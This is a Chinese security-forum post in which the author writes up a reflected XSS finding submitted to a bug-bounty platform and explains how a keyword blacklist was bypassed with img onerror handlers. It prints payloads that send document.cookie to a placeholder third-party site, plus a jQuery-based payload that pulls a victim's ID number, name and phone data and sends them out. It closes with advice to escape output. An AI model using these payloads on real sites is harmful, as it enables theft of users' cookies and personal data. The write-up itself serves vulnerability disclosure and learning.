问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记录-反射型XSS-利用img对黑名单的绕过
前言:这是记录的前几天挖到的一个反射型xss漏洞,也是我在补天平台挖到的第一个专属src漏洞,详细的站点这里就不透露了,虽然目前查看了一下原漏洞已经被修补了。 1、挖掘的起点源于对某页...
前言:这是记录的前几天挖到的一个反射型xss漏洞,也是我在补天平台挖到的第一个专属src漏洞,详细的站点这里就不透露了,虽然目前查看了一下原漏洞已经被修补了。 1、挖掘的起点源于对某页面url中title参数的测试,该参数提交后被反射回来 ```php <span class="brand_left_txt1" id="city">title</span> ``` 2、测试符号 站点未对<>;='"(){}进行过滤或者转义处理。(事实证明,我高兴早了~) 3、测试script标签 script被替换为了\[removed\]进行占位,尝试了大小写混杂,无效 4、其它标签 <img src="<https://www.baidu.com/img/flexible/logo/pc/result.png>"> - 结果是ok的,在当前页面加载显示了百度的logo 5、尝试利用标签的属性和事件 这里有两个注意点: 1)如何触发事件 这里将src写为一个错误的地址,即可触发onerror事件 2)如何写事件 在这里,第一个难点是对alert、write等方法名进行了转换,转换为\[removed\] 然后转换思路,通过赋值的形式来利用js 6、尝试发送cookie到第三方站点 > 这里的第三方站点在测试时可以是任意的,而如果是实际攻击,替换为攻击者的站点即可 1)问题1:常规的转向行不通 网站对window、location等几个关键字也进行了替换,被替换为\[removed\]。 该问题的解决方案是不进行重定向,而是对img标签的this.src属性进行赋值 ```html <img src="错误的路径" onerror="this.src=第三方网站?cookie="+document.cookie> ``` 当img的src为错误的路径,会触发onerror事件,在事件内为this.src属性赋值,该标签会重新进行请求,这样就将实现了将信息发送出去 2)问题2:关键cookie设置了httpOnly标志,无法通过js获取 无法解决 7、提升利用价值 到这一步,在重重封锁下实现了对第三方站点发送信息,并且摸清了网站大致的保护思路。但是无法发送有效的cookie,基本没有利用价值。 在探索过程中,发现在登录后可以请求个人信息json,里面有身份证、姓名、手机号等等信息,并且潜在的可以请求头像、经历等信息。 利用思路:将个人信息发送到第三方站点,通过ajax请求信息,然后写到当前页面元素的内容中,再取出内容赋值给一个变量,最后将变量拼接到this.src属性中发送到第三方站点 问题:网站对function关键字也进行了转换,无法实现js的ajax 8、jquery 发现网站已经加载了jquery 1)通过jquery的load方法请求个人信息json 2)将json信息写入当前页面的某个元素的内容 3)再获取该元素的内容赋值到变量中 4)将变量拼接到this.src的路径中发送出去 ```php <img src="/img/b" onerror="$('footer').load('json请求接口');a=$('footer').html();this.src='第三方站点?info='+a"> ``` 8、后续 从网络监听来看,个人数据是被发送到第三方网站了的。但并不是很完美。 load方法是异步请求的json数据,因此变量a在前几次获取footer的内容时,并不能获取到json数据,this.src赋值相对于img标签来说仍然是一个坏的请求,所以会不断触发onrrer事件,在几次之后才能够发送真正需要的个人json数据。 该过程对于用户,即被攻击者来说,浏览器一直没有加载到想要的图片资源并且触发onerror,会不断刷新,容易引起察觉。 9、总结 该次渗透过程,算是一个非常大的突破。对于XSS漏洞的挖掘有了更深入的看法,同时也是对自我能力的肯定。 1)挖web漏洞,必须百分之两百的掌握html/js/jquery/ajax/json等前端知识,以及http协议。 2)思路非常重要,既要熟练掌握基本的挖掘思路,也要敢于去不断创新,大胆的猜。没有想象力就没有突破 3)坚持,不要放弃。本次测试,前后断断续续经历了大致3天的时间,不断想,不断学,不断测试,最后测试ok,进行了提交。 最后提一点,黑名单对XSS真的不行,最好还是进行转义处理
发表于 2021-04-26 20:57:10
阅读 ( 5400 )
分类:
渗透测试
4 推荐
收藏
2 条评论
chain00x
2021-12-07 16:24
师傅 这个洞给了多少 每次反射xss就直接交了 师傅细啊
请先
登录
后评论
4everup
2024-05-13 15:02
现在补天还收反射的吗?
请先
登录
后评论
请先
登录
后评论
五五五
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!